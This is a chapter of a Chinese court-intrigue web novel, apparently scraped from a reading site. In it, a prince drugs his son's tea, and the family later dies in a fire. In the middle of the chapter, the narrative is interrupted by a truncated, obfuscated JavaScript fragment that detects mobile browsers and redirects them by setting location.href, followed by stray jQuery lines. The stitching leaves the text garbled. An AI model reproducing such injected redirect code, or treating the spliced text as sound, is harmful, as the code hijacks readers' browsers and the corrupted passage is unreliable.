11. 第 11 章

作品:《啊?我怎么成妖妃了?

    刚要开口,外面传来下人的询问:“王爷,世子来了。”


    镇南王哼了一声:“让他别来烦我。”


    外面,世子恨恨低骂一声:“小贱种。”一脸不悦地走了。


    江辞风问:“父亲找我来,有事?”


    镇南王第一次看他如此主动问话,便也难得露出慈父般的神色:“还是你最懂事听话。”


    江辞风垂着眼。


    镇南王端量着他的神色,紧接着叹了一口气,“这段时间,府中过得很不容易,你母亲日夜忧虑,也不见你像从前一般前去请安了。”


    江辞风:“……”


    镇南王只好继续说下去:“太子殿下原本有意与府中结亲,娶明儿为妻,但如今圣意不可违背,开春过后,明儿就要入宫侍奉陛下。为父无颜面对太子,心中愧疚。”


    江辞风:“这我知道。”


    镇南王:“太子一向喜爱你,你今夜便去东宫一趟,替为父向太子殿下表明歉意。”


    江辞风抬眼,盯了他一会儿。


    说了这么多,对方总算是露出真实目的。


    “来,为父亲自为铛儿斟茶,喝下去,暖暖身子。”


    那杯茶显然是早先准备好的,已经有些冷了。


    江辞风懂得如何让皇帝“回春”,便也能察觉到,这杯茶不对劲。


    镇南王紧盯着他,因为他的迟疑而不悦,几乎是用命令的语气沉声道:“喝下去。”


    江辞风端起来,饮尽。


    对面的男人笑起来,当着他的面将杯子扔到了窗外的湖中,缓缓叹气:“去了东宫,好好侍奉太子殿下,让他开心。”


    他似乎笃定,即便对面这个胆怯驯服的人意识到这茶里加了一点特别的东西也不敢怎么样,只能逆来顺受。


    “现在去陪你母亲还有大哥一起用膳,一个时辰后再出发。”


    他一步上前,率先出门。


    江辞风不发一言跟在后面。


    “父子”二人一起去了主院的饭厅。


    主母和世子已经等在那里。


    一个满脸阴霾,极力压制着怒火。


    另一个望着江辞风,眼中闪过等着看好戏的幸灾乐祸的笑意。


    由于贵妃赐宴,跟随而来的宫人还没回去,正等在一旁。


    镇南王坐下来,宫人便笑道:“小人还等着回去向贵妃娘娘复命,这一桌酒菜不知可合王爷王妃口味?”


    桌上气氛虽不对劲,但贵妃赏赐的东西总要给面子尝一口咸淡。


    桌上四人各怀心事,分别尝了尝味道。


    镇南王谢过恩典,那名宫人得了答复,总算是离开了。


    宫里的人一走,整个主院的空气彻底冷下来,除了管家和几名心腹,竟再无其他人。


    江辞风一扫世子的神情,差不多就明白了,对方这是终于从缠身的杀人官司中抽出空来,打算报那晚的仇了。


    镇南王心情一好,言行便浮夸造作起来,握着妻子的手,作怜爱状:“这是怎么了?今日上元佳节,还是夫人的生辰,又是谁得罪了我的宝贝夫人?”


    “怎么了?”王妃气得一拍桌子,指着江辞风的鼻尖,“你问问他就知道了!”


    镇南王看向管家。


    管家将事情原原本本说出来:“夫人丢了一对陪嫁的镯子,有人在二公子的随从那里找到了。”


    管家说完,对外面喊:“把那个刁奴带上来。”


    两个身强体壮的护院拖着一具气息奄奄的□□,慢慢走了过来,身后留下一条长长的血印。


    江辞风差点没认出来那是郑安,那副身体已经被打得血肉模糊。


    郑安半睁着疲惫的眼睛,艰难辩诉:“不是……不是公子指使我的……我也没有偷……这是有人栽赃嫁祸!”


    世子以一种极为夸张的姿态斥责道:“证据确凿,还想抵赖!你这刁奴,真是一条好狗,到这个时候了还想着忠心护主。”


    郑安气喘吁吁,“真的不是二公子,二公子绝非……”


    世子怒斥:“江辞风许了你什么好处,你也迷上了你主子的那张脸?劝你现在立刻招认,说不定还能留你一条贱命!”


    江辞风瞧了镇南王一眼,欲言又止。


    镇南王当然也没忘记今晚给太子准备的“礼物”,在这事跟前,什么陪嫁镯子都是小事。


    他不满地瞪了妻子一眼,沉下了声音:“有什么事都明日再说,辞风还要去见太子。”


    他朝江辞风挥了下手:“不用你留在这里,你直接出府吧。”


    江辞风看向郑安:“可以,不过我要先把他带回去。”


    镇南王唯恐坏了今晚的绝妙安排,他和太子殿下也算是共度了一场难关,经此一难,从前暧昧不清的关系就是确凿无疑的联盟,需要一些庆祝的仪式。


    江辞风对于太子殿下的诱惑力显而易见,他把江辞风连夜送上门,以示诚意,一解殿下连日来的相思之苦,岂不正中下怀。


    他再次挥手:“放人,让二公子把人带走。”


    江辞风把郑安扶起来往外走。


    身后传来世子江靖深恶痛绝的骂声:“你逃得过今日,逃得过往后吗!当真以为自己攀上了太子这根高枝就能在王府横着走?你不过是个供人在床上折辱亵玩的玩意儿!”


    江辞风头也不回,想到了什么,嘴角微微勾起。


    守在主院外面的仆人是新来的,对他点了点头。


    郑安需要找大夫,江辞风直接将他一起带出府。


    镇南王安排的马车等在王府后门,一等江辞风上车,便驾车往太子府上去。


    车夫是王爷的心腹,所以才有今晚送江辞风去见太子的差事。


    受主人影响,对于马车里坐着的这位二公子,心里很有些不屑,在前面不以为然地吹着口哨。


    江辞风说:“先绕路去一趟医馆。”


    车夫为难道:“这个……王爷只吩咐小的送您去太子那儿,这要是路上耽误时辰,小的……”


    他话音未落,就瞧见不远处火光漫天,正是镇南王府所在的方向。


    整条街上都沸腾起来,大喊:“走水了!”


    “镇南王府走水了,快救火!”


    车夫瞳孔紧缩,震惊不安地问:“二公子,还去太子那儿吗?”


    江辞风毫不犹豫道:“回府救火。”


    “可是……”


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025637|162242||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >车夫想到王爷吩咐必须将人送到,又犹豫起来,刚要张嘴,脸上便传来一声脆响,火辣的疼痛感清晰传来。


    车夫一时呆住。


    江辞风擦了擦手,将帕子扔了。


    虽然情绪不一定到位,但动作和台词一定要跟上,他重复一遍:“回府。要是父亲母亲有个三长两短,我绝不放过你。”


    马车飞一般地折返回府。


    刚一停下,江辞风就跌跌撞撞向主院走去。


    救火的下人认出他,连忙拦住:“二公子,里面危险!”


    江辞风望着那熊熊燃烧的大火,众目睽睽之下身子发软,眼前发晕,险些一头栽倒在地。


    仆人将这位小主人送回房间,整座王府五个正经主人,两个病歪歪,三个困在火场,乱作一团。


    这场火一直持续到深夜才被扑灭,主院里抬出来三具尸体,所有人都被吓软了腿。


    镇南王夫妇和世子竟是都命丧火海。


    江辞风硬撑着身体赶来,险些又晕一回。


    下人们见他脸色白得可怕神色极为痛苦虚弱,唯恐主家仅剩的二公子也出了事,将人又送回房中。


    请来的大夫很是忙乱,刚抢救完妹妹,又要来抢救哥哥。


    和大夫一起来的还有府中几名管事,见江辞风虚弱不堪,犹犹豫豫不知道该不该开口。


    可平常能做主的三个主人都没了,小郡主昏迷着,眼下竟只能让小公子来做主。


    江辞风的头又疼起来,支撑着身子坐在床边,气若游丝:“说。”


    一名管事道:“吴管家不见了。”


    另一名下人在旁说道:“我查看过了,火烧起来的时候,主院的门是被锁住的。”


    管事恨恨道:“二公子,我早就看出来,吴管家平日里行踪鬼祟,常常半夜出府,这显然并非意外,说不定就是……”


    江辞风抬手阻止他继续说下去。


    管事瞥了一旁的大夫一眼,露出羞愧的神情。


    家丑不可外扬,他懂,他懂。


    大夫意识到自己似乎听到不该听到的高门秘辛,大气不敢出,连忙将药方交给府中下人,匆匆告退。


    江辞风的脸色看起来仍然很糟糕,其余人也都很有眼色地退下。


    人一走,郑安压低了声音问:“公子,原来你的身体不适不是装出来啊?”


    江辞风揉着眉心,有些痛苦地叹了一口气,“这还要多谢王爷生前帮我的忙,否则我不一定能演得出来那副伤心欲绝的样子。”


    郑安又问:“那吴管家怎么处理,直接杀了?”


    话音刚落,房门从外面被人一把推开。


    主仆二人皆是一惊。


    来人带着一张花灯节的面具,不管不顾脚步凌乱地冲上前来,大口喘息着,冬夜里却出了一身汗,似乎是走了很长的路,一路疾跑的。


    郑安连忙挡在江辞风跟前,呵斥道:“你是谁!”


    戴着面具的闯入者被这一声呵斥,竟是真的就站在原地不动了。


    郑安有些迷糊。看这身形,还是个十多岁的孩子,可看这行事,实在鲁莽无礼,什么事情能急成这样,失火的是镇南王府,又不是别处。